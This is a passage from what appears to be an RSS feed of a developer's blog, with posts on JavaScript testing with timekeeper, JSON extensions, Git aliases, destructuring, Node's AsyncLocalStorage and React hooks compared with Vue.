 <span class="hljs-keyword">return</span> date.getHours() &lt; <span class="hljs-number">12</span>
}
</code></pre>
<p>Now we can create tests checking a variety of dates.</p>
<p>So far there is nothing special happening. Allowing a date to be passed makes perfect sense for a function like <code>isAM</code>, but let's take this a step further.</p>
<x-ad />
<p>Say, you now have another function that depends on <code>isAM</code>:</p>
<pre class="hljs"><code><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">isDeliverable</span>(<span class="hljs-params">item</span>) </span>{
  <span class="hljs-keyword">if</span> (isAM()) {
    <span class="hljs-keyword">return</span> <span class="hljs-literal">false</span>
  }

  <span class="hljs-comment">// ...</span>

  <span class="hljs-keyword">return</span> <span class="hljs-literal">true</span>
}
</code></pre>
<p>For whatever reason, items are not deliverable before 12 pm.</p>
<p>Now how do we test this method? Passing a date to <code>isDeliveryable</code> certainly does not make much sense.</p>
<p>This is where we can make use of a handy npm library called <code>timekeeper</code>.</p>
<blockquote>
<p><code>npm i timekeeper --save-dev</code></p>
</blockquote>
<p>timekeeper allows us to travel to a different time by mocking the native Date object.</p>
<p>Here's how we can test will look like:</p>
<pre class="hljs"><code><span class="hljs-keyword">const</span> timekeeper = <span class="hljs-built_in">require</span>(<span class="hljs-string">'timekeeper'</span>)
<span class="hljs-keyword">const</span> { isDeliverable } = <span class="hljs-built_in">require</span>(<span class="hljs-string">'./delivery'</span>)

it(<span class="hljs-string">'is not deliverable before 12 noon'</span>, () =&gt; {
  timekeeper.travel(<span class="hljs-keyword">new</span> <span class="hljs-built_in">Date</span>(<span class="hljs-number">2020</span>, <span class="hljs-number">1</span>, <span class="hljs-number">1</span>, <span class="hljs-number">7</span>))

  expect(isDeliverable({ ... })).toBeFalsy()

  timekeeper.reset()
})
</code></pre>
<p>Awesome!! It's like <a href="https://api.rubyonrails.org/v5.2.4/classes/ActiveSupport/Testing/TimeHelpers.html">Rails</a>.</p>
<blockquote>
<p>As this mutates the native Date object, it's best to not run tests in parallel!</p>
</blockquote>
]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[JSON Extensions for writing config files and parsing data]]></title>
            <link>https://michaelzanggl.com/articles/json-extensions/</link>
            <guid>json-extensions</guid>
            <content:encoded><![CDATA[<p>JSON is a rather simple format, this makes it easy to use, understand, and parse.
But sometimes you need a bit more than that, let's look at some common JSON extensions.</p>
<h2 id="ejson">EJSON</h2>
<p><a href="https://www.npmjs.com/package/ejson">Extended JSON</a> is exactly what it sounds like. This dialect of JSON supports additional data types like dates and even lets you add your own types.</p>
<p>Here's an example showing the difference between regular JSON and EJSON when it comes to serializing and re-parsing objects containing dates.</p>
<pre class="hljs"><code><span class="hljs-keyword">const</span> EJSON = <span class="hljs-built_in">require</span>(<span class="hljs-string">'ejson'</span>)

<span class="hljs-keyword">const</span> event = {
  <span class="hljs-attr">name</span>: <span class="hljs-string">'test'</span>,
  <span class="hljs-attr">created_at</span>: <span class="hljs-keyword">new</span> <span class="hljs-built_in">Date</span>()
}

<span class="hljs-keyword">const</span> stingifiedJSON = <span class="hljs-built_in">JSON</span>.stringify(event)
<span class="hljs-keyword">const</span> stingifiedEJSON = EJSON.stringify(event)

<span class="hljs-comment">// stringified</span>
<span class="hljs-built_in">console</span>.log(stingifiedJSON) <span class="hljs-comment">// {"name":"test","created_at":"2024-11-06T00:00:00Z"}</span>
<span class="hljs-built_in">console</span>.log(stingifiedEJSON) <span class="hljs-comment">// {"name":"test","created_at":{"$date":1730851200000}}</span>

<span class="hljs-comment">// re-parsed</span>
<span class="hljs-built_in">console</span>.log(<span class="hljs-keyword">typeof</span> <span class="hljs-built_in">JSON</span>.parse(stingifiedJSON).created_at) <span class="hljs-comment">// string</span>
<span class="hljs-built_in">console</span>.log(EJSON.parse(stingifiedEJSON).created_at <span class="hljs-keyword">instanceof</span> <span class="hljs-built_in">Date</span>) <span class="hljs-comment">// true</span>
</code></pre>
<p>This is extremely useful for re-parsing serialized data, for example when sending it over the network.
EJSON is what MongoDB uses under the hood (in addition to BSON, a binary format of JSON).</p>
<p>Among the JSON extensions listed in this article, this is the only one that regular JSON is able to parse as well!</p>
<h2 id="ndjson">NDJSON</h2>
<p>Newline-Delimited JSON is commonly used for streaming one JSON object at a time.</p>
<p>This is how it looks like:</p>
<pre class="hljs"><code>{<span class="hljs-string">"name"</span>:<span class="hljs-string">"test"</span>,<span class="hljs-string">"created_at"</span>:<span class="hljs-string">"2024-11-02T00:00:00Z"</span>}
{<span class="hljs-string">"name"</span>:<span class="hljs-string">"test 2"</span>,<span class="hljs-string">"created_at"</span>:<span class="hljs-string">"2024-11-04T00:00:00Z"</span>}
{<span class="hljs-string">"name"</span>:<span class="hljs-string">"test 3"</span>,<span class="hljs-string">"created_at"</span>:<span class="hljs-string">"2024-11-06T00:00:00Z"</span>}
</code></pre>
<p>What's different to regular JSON is the lack of wrapping the data in an array and the lack of commas after each line (since it's newline delimited). This makes it a perfect candidate for streaming.</p>
<p>Apart from streaming JSON, I've also seen this format being used (together with EJSON) in NoSQL clients to export and import documents.</p>
<h2 id="jsonc-json5">JSONC / JSON5</h2>
<p>For the next one there's a variety of implementations each adding its own flavor. Let's look at <a href="https://json5.org/">JSON5</a> as it's the most complete one.</p>
<p>They all try to achieve the same goal: a human-readable, loosened JSON format for managing config files.</p>
<p>JSON5 allows you to add comments, trailing commas, line breaks, unquotes keys, among many other things.</p>
<pre class="hljs"><code>{
  <span class="hljs-comment">// You can add comments!!</span>
  <span class="hljs-attr">unquoted</span>: <span class="hljs-string">'&lt; unquoted keys!'</span>,
  <span class="hljs-attr">singleQuotes</span>: <span class="hljs-string">'I can use "double quotes" here'</span>,
  <span class="hljs-attr">lineBreaks</span>: <span class="hljs-string">"Supports line breaks!\
No \\n's!"</span>,
}
</code></pre>
<hr>
<p>As you can see, JSON extensions come in all shapes and sizes. Some are meant to be used by applications, others allow devs to more easily create config files.
Next time you need to serialize/parse JSON, see if one of those extensions make sense for your use case!</p>
]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[My webdev related finds for Apr/May 2020]]></title>
            <link>https://michaelzanggl.com/articles/keepsies-apr-2020/</link>
            <guid>keepsies-apr-2020</guid>
            <description><![CDATA[A curated list of blog posts, videos, JS stuff and SVG resources I found in Apr/May.]]></description>
            <content:encoded><![CDATA[<p>There is just so much content out there these days, that it's not only easy to miss, but also easy to forget it again. So I thought I just keep a journal of my favorite ones.</p>
<h3 id="17-tips-for-great-copywriting"><a href="https://twitter.com/GoodMarketingHQ/status/1258052549246140416">17 tips for great copywriting</a></h3>
<p>Some neat tips for copywriting like &quot;no one cares what you can do, everybody cares what you can do for them.&quot;</p>
<h3 id="heroicons"><a href="https://heroicons.dev/">Heroicons</a></h3>
<p>A fantastic resource for quickly grabbing some SVG elements for your website. No npm, no manual downloading, just click on an icon and it's in your clipboard.</p>
<h3 id="68-bits-of-unsolicited-advice"><a href="https://kk.org/thetechnium/68-bits-of-unsolicited-advice/">68 Bits of Unsolicited Advice</a></h3>
<p>Not explicitly dev related, but they very much translate to our industry.</p>
<p>For example:</p>
<ul>
<li>&quot;Always demand a deadline. A deadline weeds out the extraneous and the ordinary. It prevents you from trying to make it perfect, so you have to make it different. Different is better.&quot;</li>
<li>&quot;Before you are old, attend as many funerals as you can bear, and listen. Nobody talks about the departed’s achievements. The only thing people will remember is what kind of person you were while you were achieving.&quot;</li>
</ul>
<x-ad />
<h3 id="microservices-video"><a href="https://t.co/F6z9uwgFtx?amp=1">Microservices (video)</a></h3>
<p>Or how they can go wrong...</p>
<h3 id="lch-colors-in-css"><a href="http://lea.verou.me/2020/04/lch-colors-in-css-what-why-and-how/">LCH colors in CSS</a></h3>
<p>Did you know that browsers can not display all available colors? It's missing like 50%?</p>
<h3 id="tojson"><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/JSON/stringify#toJSON_behavior">toJSON</a></h3>
<p>Did you know?</p>
<p>If an object has a <code>toJSON</code> method and you call <code>JSON.stringify</code> (like when returning a response from a server), the result of <code>toJSON</code> will be stringified instead of the object. For a use case in the wild, check out the docs for <a href="https://adonisjs.com/docs/4.1/serializers#_why_use_serializers">adonis.js</a>.</p>
]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Introducing learning by vueing]]></title>
            <link>https://michaelzanggl.com/articles/learning-by-vueing/</link>
            <guid>learning-by-vueing</guid>
            <description><![CDATA[Introducing a platform to learn vue interactively.]]></description>
            <content:encoded><![CDATA[<p>Learning a new framework can be a daunting task. Sometimes you just want to see what the technology has to offer, maybe borrow some ideas and simply have fun exploring something new. Svelte has done an amazing job with their interactive tutorial. So I did something similar with vue.js.</p>
<p>Introducing <a href="https://learning-by-vueing.pages.dev/">learning by vueing</a>.</p>
<p>If you have ever wanted to check out Vue without going through tooling or docs (although the docs are very good), I hope that this makes it more approachable and fun.</p>
]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Git aliases for increased productivity]]></title>
            <link>https://michaelzanggl.com/articles/more-git-aliases/</link>
            <guid>more-git-aliases</guid>
            <description><![CDATA[More Git aliases to ease your devlife.]]></description>
            <content:encoded><![CDATA[<p>It's been almost a year since I posted my first article on git aliases. Since then I've applied a number of additional aliases in my workflow. Be sure to check out my first article <a href="https://michaelzanggl.com/articles/git-nah-and-more-handy-aliases/">here</a> to how I use &quot;git update&quot;, &quot;git nah&quot;, and &quot;git amend&quot;.</p>
<p>Without further ado, here they are:</p>
<h2 id="git-arrange">git arrange</h2>
<p>This command lets you arrange all commits you made in a feature branch. Perfect for cleaning up commits before creating a PR.</p>
<pre class="hljs"><code>git config --global alias.arrange <span class="hljs-string">"rebase -i develop"</span>
</code></pre>
<h2 id="git-recent">git recent</h2>
<p>If you often find yourself switching branches, this is a lifesaver. It will list all branches sorted by recent use.</p>
<pre class="hljs"><code>git config --global alias.recent <span class="hljs-string">"branch --sort=-committerdate"</span> <span class="hljs-comment"># most recent branches</span>
</code></pre>
<x-ad />
<h2 id="git-stash-unstaged">git stash-unstaged</h2>
<p>Ever wanted to stash your code, but keep everything you staged (with <code>git add .</code>)</p>
<pre class="hljs"><code>git config --global alias.stash-unstaged <span class="hljs-string">"stash save --keep-index -u"</span>
</code></pre>
<h2 id="git-undo-commit">git undo-commit</h2>
<p>This will allow you to remove the latest commit and move all the changes back into your working directory. With this, I often prefer committing instead of stashing code that I need for later, because it makes it so much simpler than searching through a list of stashes.</p>
<pre class="hljs"><code>git config --global alias.undo-commit <span class="hljs-string">"reset HEAD~ --soft"</span>
</code></pre>
<hr>
<p>Let's see what's in stock for next year ✌️</p>
]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Namespaces are just fine]]></title>
            <link>https://michaelzanggl.com/articles/namespaces/</link>
            <guid>namespaces</guid>
            <description><![CDATA[No need to destructure everything.]]></description>
            <content:encoded><![CDATA[<p>An increasingly common practice in JavaScript is destructuring. This is great to get rid of otherwise generic terms like in the following examples.</p>
<p>Destructuring objects:</p>
<pre class="hljs"><code><span class="hljs-comment">/*❌*/</span> <span class="hljs-keyword">const</span> results = <span class="hljs-keyword">await</span> fetch(<span class="hljs-string">'users'</span>)
<span class="hljs-comment">/*❌*/</span> results.users
<span class="hljs-comment">/*✔️*/</span> <span class="hljs-keyword">const</span> { users } = <span class="hljs-keyword">await</span> fetch(<span class="hljs-string">'users'</span>)
</code></pre>
<p>Destructuring arrays:</p>
<pre class="hljs"><code><span class="hljs-comment">/*❌*/</span> <span class="hljs-keyword">const</span> results = <span class="hljs-keyword">await</span> validate(request)
<span class="hljs-comment">/*❌*/</span> <span class="hljs-keyword">if</span> (!results[<span class="hljs-number">0</span>]) <span class="hljs-keyword">throw</span> results[<span class="hljs-number">1</span>]
<span class="hljs-comment">/*✔️*/</span> <span class="hljs-keyword">const</span> [isSuccessful, error] = <span class="hljs-keyword">await</span> validate(request)
<span class="hljs-comment">/*✔️*/</span> <span class="hljs-keyword">if</span> (!isSuccessful) <span class="hljs-keyword">throw</span> error
</code></pre>
<p>These are very good use-cases for destructuring!</p>
<p>But then there is the other side of the coin:</p>
<pre class="hljs"><code><span class="hljs-keyword">const</span> { user: { city }} = results
</code></pre>
<p>The variable “city” had a perfect home with the namespace “user”. It’s very clear that “user.city” is the city belonging to the user. With the nested destructuring technique, you lose these benefits.</p>
<hr>
<p>This overdestructuring can also lead to name clashes, which would require renaming the variable:</p>
<pre class="hljs"><code><span class="hljs-keyword">const</span> { city } = location
<span class="hljs-keyword">const</span> { user: { city: userCity }} = results
</code></pre>
<p>“userCity” vs. “user.city”. Is this difference worth the added complexity and loss of intent?</p>
<p>Compare these two code statements that could follow the above example:</p>
<pre class="hljs"><code><span class="hljs-comment">/*❌*/</span> <span class="hljs-keyword">if</span> (city === userCity) {}
<span class="hljs-comment">/*✔️*/</span> <span class="hljs-keyword">if</span> (location.city === user.city) {}
</code></pre>
<hr>
<p>In multi-line statements, over-destructuring can also confuse the reader as to which side of the assignment the reader is currently on (left side or right side):</p>
<pre class="hljs"><code><span class="hljs-keyword">const</span> {
  user: {
    city: userCity
  },
  location: {
    city: locationCity
  }
  ...rest
} = {
  ...cache,
  user: <span class="hljs-keyword">await</span> getUser()
  date: now()
}
</code></pre>
<p>Not enough? How about some inlined TypeScript types to mix things up:</p>
<pre class="hljs"><code><span class="hljs-keyword">const</span> {
  user: {
    city: userCity
  },
  location: {
    city: locationCity
  }
  ...rest
} = {
  ...cache,
  user: <span class="hljs-keyword">await</span> getUser()
  date: now()
} : {
  user: {
    id: <span class="hljs-built_in">string</span>;
    city: <span class="hljs-built_in">string</span>
  }
  date: <span class="hljs-built_in">number</span>,
  location: {
    id: <span class="hljs-built_in">string</span>;
    city: <span class="hljs-built_in">string</span>;
  }
}
</code></pre>
<p><strong>Namespaces are just fine.</strong> In fact, they are very helpful in communicating where a variable belongs to. And best of all, you get all of it out of the box.</p>
<!-- ---

This was an excerpt from my e-book Intent-Driven Development which will teach you how to simplify the day-to-day code you run into and the balance between over- and under-engineering. Get it over at https://michaelzanggl.com/intent. -->]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Breaking free from the request and argument drilling with AsyncHooks]]></title>
            <link>https://michaelzanggl.com/articles/node-async-localstorage/</link>
            <guid>node-async-localstorage</guid>
            <description><![CDATA[Introduction to an amazing new feature that landed in Node 13.]]></description>
            <content:encoded><![CDATA[<p>I didn't pay much attention to the features that landed in Node 13, something I will definitely do from now as they have introduced an absolutely amazing new feature.</p>
<p>From frameworks in other languages like Laravel you might be used to getting the authenticated user like this:</p>
<pre class="hljs"><code><span class="hljs-keyword">use</span> <span class="hljs-title">Illuminate</span>\<span class="hljs-title">Support</span>\<span class="hljs-title">Facades</span>\<span class="hljs-title">Auth</span>;

<span class="hljs-comment">// Get the currently authenticated user...</span>
$user = Auth::user();
</code></pre>
<p>You can only get the authenticated user through the request as this is where you have access to cookies, headers, etc. Yet, the above code example doesn't mention anything about the request. Laravel provides us this expressive facade and does the dirty work under the hood, where it still accesses the request.</p>
<p>This is possible in PHP because each request is completely isolated from one another.</p>
<p>In Node.js, for a long time, you needed to get the authenticated user from the request and then pass down to every function that needs it.</p>
<pre class="hljs"><code><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">PostController</span> </span>{
  <span class="hljs-keyword">async</span> index({ auth }) {
    <span class="hljs-keyword">await</span> <span class="hljs-keyword">new</span> PostService().fetch(auth.user)
  }
}
</code></pre>
<p>Until now.</p>
<p>Node 13 comes with a new feature called <a href="https://nodejs.org/api/async_hooks.html#async_hooks_class_asynclocalstorage">AsyncLocalStorage</a>.</p>
<p>From the documentation it says: It allows storing data <strong>throughout the lifetime</strong> of a web request or any other asynchronous duration.</p>
<p>And here is an example:</p>
<pre class="hljs"><code><span class="hljs-keyword">const</span> { AsyncLocalStorage } = <span class="hljs-built_in">require</span>(<span class="hljs-string">'async_hooks'</span>);
<span class="hljs-keyword">const</span> http = <span class="hljs-built_in">require</span>(<span class="hljs-string">'http'</span>);

<span class="hljs-keyword">const</span> requestKey = <span class="hljs-string">'CURRENT_REQUEST'</span>;
<span class="hljs-keyword">const</span> asyncLocalStorage = <span class="hljs-keyword">new</span> AsyncLocalStorage();

<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">log</span>(<span class="hljs-params">...args</span>) </span>{
  <span class="hljs-keyword">const</span> store = asyncLocalStorage.getStore();
  <span class="hljs-comment">// Make sure the store exists and it contains a request.</span>
  <span class="hljs-keyword">if</span> (store &amp;&amp; store.has(requestKey)) {
    <span class="hljs-keyword">const</span> req = store.get(requestKey);
    <span class="hljs-comment">// Prints `GET /items ERR could not do something</span>
    <span class="hljs-built_in">console</span>.log(req.method, req.url, ...args);
  } <span class="hljs-keyword">else</span> {
    <span class="hljs-built_in">console</span>.log(...args);
  }
}

http.createServer(<span class="hljs-function">(<span class="hljs-params">request, response</span>) =&gt;</span> {
  asyncLocalStorage.run(<span class="hljs-keyword">new</span> <span class="hljs-built_in">Map</span>(), () =&gt; {
    <span class="hljs-keyword">const</span> store = asyncLocalStorage.getStore();
    store.set(requestKey, request);

    setTimeout(<span class="hljs-function"><span class="hljs-params">()</span> =&gt;</span> {
        log(<span class="hljs-string">'timeout'</span>);
    }, <span class="hljs-number">2000</span>);
  });
})
.listen(<span class="hljs-number">8080</span>);
</code></pre>
<p>As you can see, when we wrap all our code within <code>asyncLocalStorage.run</code>, <strong>anywhere</strong> within the callback we can again retrieve any data we stored away. It's just like react's context API!</p>
<p>Building a clean abstraction layer around this is not too hard.</p>
<x-ad />
<hr>
<p>I'm excited about the possibilities this opens up. Here are some use cases I can think of:</p>
<ul>
<li>Getting and setting cookies</li>
<li>Logging information about the current request</li>
<li>session flashing</li>
<li>Wrapping database calls in a transaction without passing the transaction object to each query (sometimes in separate function/class).</li>
</ul>
<p>This was just meant as a short introduction to this new feature. Obviously, this also opens up room for complexity and dirty code. For example, it lets you access the request payload from anywhere in your application. Something you probably don't want to make use of in too many places as it couples the request with your entire code base. Well, let's see where this takes us!</p>
]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[1 year with React Hooks - Biggest lesson learned]]></title>
            <link>https://michaelzanggl.com/articles/one-year-with-react-hooks/</link>
            <guid>one-year-with-react-hooks</guid>
            <description><![CDATA[I've been working with React Hooks for over one year now. Working on a variety of things, there has been one glaring issue that I've run into, not once, but twice.]]></description>
            <content:encoded><![CDATA[<p>I've been working with React Hooks for over one year now. Working on a variety of things, there has been one glaring issue that I've run into, not once, but twice.</p>
<p>The issue has to do with <code>useEffect</code>, the hook used to handle any side effects.</p>
<p>I prepared a super simplified version of the problem: <a href="https://codesandbox.io/s/react-output-useeffect-orto4">https://codesandbox.io/s/react-output-useeffect-orto4</a></p>
<p>In this example you pick some technologies, click &quot;send request&quot; and see the output. Imagine we are fetching an API, the data that comes back is an array where the indices correspond to the selected elements.</p>
<pre class="hljs"><code>{response.map(<span class="hljs-function">(<span class="hljs-params">item, index</span>) =&gt;</span> (
    <span class="xml"><span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">key</span>=<span class="hljs-string">{item}</span>&gt;</span>
        {appliedElements[index].toUpperCase()}: {item}
    <span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span></span>
))}
</code></pre>
<p>And if there is any change in the input, we have a useEffect-hook to clean up the output.</p>
<pre class="hljs"><code>React.useEffect(<span class="hljs-function"><span class="hljs-params">()</span> =&gt;</span> {
    setResponse([]);
}, [appliedElements]);
</code></pre>
<p>Now, with the output displayed, try removing a selected element again. It will crash. It will crash because of <code>appliedElements[index].toUpperCase()</code>.</p>
<p>What happens is:</p>
<ol>
<li>Click on the selected element will remove it from the state and trigger a rerender</li>
<li>component gets rerendered (and crashes because the applied element no longer exists for the index)</li>
<li><code>useEffect</code> callback gets run</li>
</ol>
<p>Coming from the world of Vue, adding a <code>watch</code> over a property and resetting the output there will actually <a href="https://codesandbox.io/s/vue-output-watch-vd6w4">work just fine</a>. But this is not how useEffect works, so what's the best way to fix this?</p>
<p>There are actually 4 different ways you might approach this.</p>
<blockquote>
<p>One thing I'd like to mention is the solution to wrap the API call and transform the response the way you need it later. That's definitely the best way, but where I faced the problem, this wasn't possible. Input and output weren't a 1-to-1 correlation like here...</p>
</blockquote>
<h3 id="uselayouteffect">useLayoutEffect</h3>
<p>Actually... this doesn't help. Just wanted to get it out of the way. The component will still rerender in step 2. It just won't be painted right away.</p>
<h3 id="patch-it-up">Patch it up</h3>
<p>Of course, one way would be to simply patch it, basically checking if <code>appliedElements[index]</code> exists before trying to render the row. But that is not fixing the root cause, so let's skip it...</p>
<h3 id="usememo">useMemo</h3>
<pre class="hljs"><code><span class="hljs-keyword">const</span> renderedResponse = React.useMemo(<span class="hljs-function"><span class="hljs-params">()</span> =&gt;</span> {
    <span class="hljs-keyword">return</span> response.map(<span class="hljs-function">(<span class="hljs-params">item, index</span>) =&gt;</span> (
      <span class="xml"><span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">key</span>=<span class="hljs-string">{item}</span>&gt;</span>
        {appliedElements[index].toUpperCase()}: {item}
      <span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span></span>
    ))
}, [response]);
</code></pre>
<p>This way we simply memoize the response. The useEffect is still there to clean up the response. And if we remove an element, it won't trigger the callback again (and crash...) because <code>appliedElements</code> is not part of the dependency array. Wait... isn't that a bad thing though? Yea, in fact, you will get the following lint error.</p>
<p><code>React Hook React.useMemo has a missing dependency: 'appliedElements'. Either include it or remove the dependency array. (react-hooks/exhaustive-deps)</code></p>
<p>This can cause hard to track bugs further down the route, so let's see if we can do something else...</p>
<h3 id="usereducer">useReducer</h3>
<p>This was basically the response I got from everyone I asked. But it didn't feel right... <code>useState</code> and <code>useEffect</code> alone should be powerful enough to handle this case correctly. Despite my doubts, I actually went with this approach but there were quite a few cases in which I had to reset the response. If I forgot one, it crashed again. Not really the best solution to handle the reset either...</p>
<h3 id="the-final-solution">The final solution</h3>
<p>The solution I eventually implemented is surprisingly simple.</p>
<p>All I had to do was replace</p>
<pre class="hljs"><code><span class="hljs-keyword">const</span> request = <span class="hljs-function"><span class="hljs-params">()</span> =&gt;</span> {
    <span class="hljs-comment">// fetch some data...</span>
    setResponse(appliedElements.map(<span class="hljs-function">(<span class="hljs-params">e, i</span>) =&gt;</span> i * <span class="hljs-built_in">Math</span>.random()));
};
</code></pre>
<p>with</p>
<pre class="hljs"><code><span class="hljs-keyword">const</span> request = <span class="hljs-function"><span class="hljs-params">()</span> =&gt;</span> {
    <span class="hljs-comment">// fetch some data...</span>
    setResponse({
      <span class="hljs-attr">output</span>: appliedElements.map(<span class="hljs-function">(<span class="hljs-params">e, i</span>) =&gt;</span> i * <span class="hljs-built_in">Math</span>.random()),
      <span class="hljs-attr">elements</span>: appliedElements
    });
};
</code></pre>
<p>and</p>
<pre class="hljs"><code>{response.map(<span class="hljs-function">(<span class="hljs-params">item, index</span>) =&gt;</span> (
   <span class="xml"><span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">key</span>=<span class="hljs-string">{item}</span>&gt;</span>
     {appliedElements[index].toUpperCase()}: {item}
   <span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span></span>
))}
</code></pre>
<p>with</p>
<pre class="hljs"><code>{response.output.map(<span class="hljs-function">(<span class="hljs-params">item, index</span>) =&gt;</span> (
   <span class="xml"><span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">key</span>=<span class="hljs-string">{item}</span>&gt;</span>
     {response.elements[index].toUpperCase()}: {item}
   <span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span></span>
))}
</code></pre>
<p>So now when we set the response, we also save a snapshot of the applied elements next to it. This way, when we remove a selected element, it will only be removed from <code>appliedElements</code>, but not from the snapshot inside <code>response</code>. With this, input and output are completely separated. Of course the input and output can still be inside a reducer if you want.</p>
<x-ad />
<p>The funny thing about this solution is that this non-reactive approach is the default behaviour with Vanilla Js. The app was overreacting.</p>
]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[React Hooks for Vue developers]]></title>
            <link>https://michaelzanggl.com/articles/react-hooks-for-vue-developers/</link>
            <guid>react-hooks-for-vue-developers</guid>
            <description><![CDATA[Let's compare some common vue things and implement them using react hooks, then list up the pros and cons of each.]]></description>
            <content:encoded><![CDATA[<p>If you have looked at react a long time ago and got scared away by some of its verbosity (I mean you <code>ComponentDidMount</code>, <code>ComponentWillReceiveProps</code>, <code>getDerivedStateFromProps</code> etc.), have a look again. Hooks take functional components to the next level. And it comes with all the benefits you could imagine, no classes, no <code>this</code>, no boilerplate. Turns out I am not alone on this, as some of these points are also mentioned <a href="https://reactjs.org/docs/hooks-intro.html#motivation">in the official docs</a> talking about the motivation behind hooks.</p>
<p>Let's compare some common vue things and implement them using react hooks, then list up the pros and cons of each tool. This is not to convince you to drop vue over react, especially seeing that vue is moving in the same direction (more on that at the end). But it is always good to get a sense of how the other frameworks achieve common tasks, as something similar might also become the future of vue.</p>
<h2 id="the-component-itself">The component itself</h2>
<p>The minimum we need for a vue single file component would be the following setup</p>
<pre class="hljs"><code>// Counter.vue

<span class="hljs-tag">&lt;<span class="hljs-name">template</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">div</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">template</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">script</span>&gt;</span><span class="javascript">
    <span class="hljs-keyword">export</span> <span class="hljs-keyword">default</span> {}
</span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span>
</code></pre>
<p>And here is the same thing in react</p>
<pre class="hljs"><code><span class="hljs-keyword">function</span> <span class="hljs-function"><span class="hljs-title">Counter</span></span>() {
    <span class="hljs-built_in">return</span> &lt;div&gt;0&lt;/div&gt;
}
</code></pre>
<blockquote>
<p>Note that the react component doesn't necessarily have to live in its own file, since it's just a function.</p>
</blockquote>
<x-ad />
<h2 id="working-with-state">Working with state</h2>
<p>Vue</p>
<pre class="hljs"><code>// Counter.vue

<span class="hljs-tag">&lt;<span class="hljs-name">template</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">button</span> @<span class="hljs-attr">click</span>=<span class="hljs-string">"increment"</span>&gt;</span>{{ count }}<span class="hljs-tag">&lt;/<span class="hljs-name">button</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">template</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">script</span>&gt;</span><span class="javascript">
    <span class="hljs-keyword">export</span> <span class="hljs-keyword">default</span> {
        data() {
            <span class="hljs-keyword">return</span> {
                <span class="hljs-attr">count</span>: <span class="hljs-number">1</span>
            }
        },
        <span class="hljs-attr">methods</span>: {
            increment() {
                <span class="hljs-keyword">this</span>.count++
            }
        }
    }
</span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span>
</code></pre>
<p>and react</p>
<pre class="hljs"><code>import { useState } from <span class="hljs-string">'react'</span>

<span class="hljs-keyword">function</span> <span class="hljs-function"><span class="hljs-title">Counter</span></span>() {
    const [count, setCount] = useState(1)
    const increment = () =&gt; setCount(count+1)

    <span class="hljs-built_in">return</span> &lt;button onClick={increment}&gt;{ count }&lt;/button&gt;
}
</code></pre>
<p>As you can see, react's <code>useState</code> returns a tuple with a set function as the second argument. In vue, you can directly set the value to update the state.</p>
<p>With hooks, Whenever our state/props get updated, the <code>Counter</code> method is executed again. Only the first time though it initiates the <code>count</code> variable with 1. That's basically the whole deal about hooks. This concept is one of the few that you have to understand with hooks.</p>
<p><strong>vue pros/cons</strong></p>
<p>(+) predefined structure</p>
<p>(-) you can not just import something and use it in the template. It has to be laid out in one of the various concepts of vue <code>data</code>, <code>methods</code>, <code>computed</code>, <code>$store</code> etc. This also makes some values needlessly reactive and might cause confusion (why is this reactive? Does it change? Where?)</p>
<p><strong>react pros/cons</strong></p>
<p>(+) It's just a function</p>
<p>(-) Actually it's a function that gets executed every time state or props change. That way of thinking is likely no problem for those used to the old stateless functional components of react, but for people who exclusively used vue, a new way of thinking is required. It just doesn't come off natural at first.</p>
<p>(-) Hooks have various rules on where and how you have to use them.</p>
<h2 id="passing-props">Passing props</h2>
<pre class="hljs"><code>// Counter.vue

<span class="hljs-tag">&lt;<span class="hljs-name">template</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">div</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">h1</span>&gt;</span>{{ title }}<span class="hljs-tag">&lt;/<span class="hljs-name">h1</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">button</span> @<span class="hljs-attr">click</span>=<span class="hljs-string">"increment"</span>&gt;</span>{{ count }}<span class="hljs-tag">&lt;/<span class="hljs-name">button</span>&gt;</span>
    <span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">template</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">script</span>&gt;</span><span class="javascript">
    <span class="hljs-keyword">export</span> <span class="hljs-keyword">default</span> {
        data() {
            <span class="hljs-keyword">return</span> {
                <span class="hljs-attr">count</span>: <span class="hljs-number">1</span>
            }
        },
        <span class="hljs-attr">props</span>: {
            <span class="hljs-attr">title</span>: <span class="hljs-built_in">String</span>
        },
        <span class="hljs-attr">methods</span>: {
            increment() {
                <span class="hljs-keyword">this</span>.count++
            }
        }
    }
</span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span>
</code></pre>
<p>and react</p>
<pre class="hljs"><code>import { useState } from <span class="hljs-string">'react'</span>

